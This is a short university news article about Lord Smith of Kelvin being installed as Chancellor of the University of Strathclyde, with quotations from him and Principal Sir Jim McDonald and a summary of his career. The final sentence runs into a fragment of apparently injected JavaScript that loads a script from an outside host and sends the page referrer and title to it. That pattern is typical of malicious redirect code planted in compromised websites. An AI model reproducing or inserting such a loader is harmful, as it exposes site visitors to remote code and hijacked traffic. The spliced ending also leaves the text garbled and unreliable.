By Kirsty-Louise Hunt
Lord Smith of Kelvin has been installed as the new Chancellor of the University of Strathclyde.

Lord Smith, chair of the Organising Committee for the Glasgow 2014 Commonwealth Games, was formally installed as Chancellor by University Principal Sir Jim McDonald at a ceremony in the University’s Barony Hall on 3 October.

Strathclyde Principal Professor Sir Jim McDonald said: “Lord Smith brings a lifetime’s experience in business and industry to Strathclyde and he also has a deep understanding of the importance of higher education as a social, economic and cultural driver.”

He added: “Strathclyde is a place that likes to get things done, and business appreciates and recognises that.
“Our purpose, as a leading international technological university, is to make a contribution to economic, social and cultural development by working with the leaders of today through direct engagement, and inspiring the leaders of tomorrow in lecture theatres and the laboratory.

“We look to Lord Smith to support us in that work.”

Praising successive Scottish governments for their investment in Higher Education, Lord Smith said: “I believe that Scotland has got the message that education works.

“ Universities get results, and they ensure that countries such as ours are connected globally through research networks, global companies and through the exchange of knowledge – surely one of the most important ‘consumables’ in the 21st century.

“Universities are places of drive and energy, places where the impossible is just another challenge which can be overcome, they are communities of the young and the wise – working in common cause to make things better for themselves and for their fellow men and women.

“Universities are exceptional places, and Strathclyde is among the most exceptional. I am proud to be installed as its Chancellor, and I look forward to exciting times ahead.”

Lord Smith succeeds Lord Hope of Craighead, former Deputy President of the Supreme Court of the United Kingdom, and

one of Scotland’s most celebrated legal figures. In recognition of his service to the University, Lord Hope will receive an honorary doctorate of the University.

The Chancellor is the titular head of the University who presides over Congregations for the Conferment of Degrees, acts as an ambassador for the institution at home and abroad, and provides advice to the Principal and Senior Officers.
In addition to his role as in the organising of Glasgow 2014 Commonwealth Games, Lord Smith of Kelvin is chairman of Weir Group, SSE and the UK Green Investment Bank. He is also a non-executive director of Standard Bank Group South Africa.

Knighted in 1999 for services to the National Museums of Scotland, Lord Smith became a member of the House of Lords in 2008 as an Independent Crossbench Peer.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;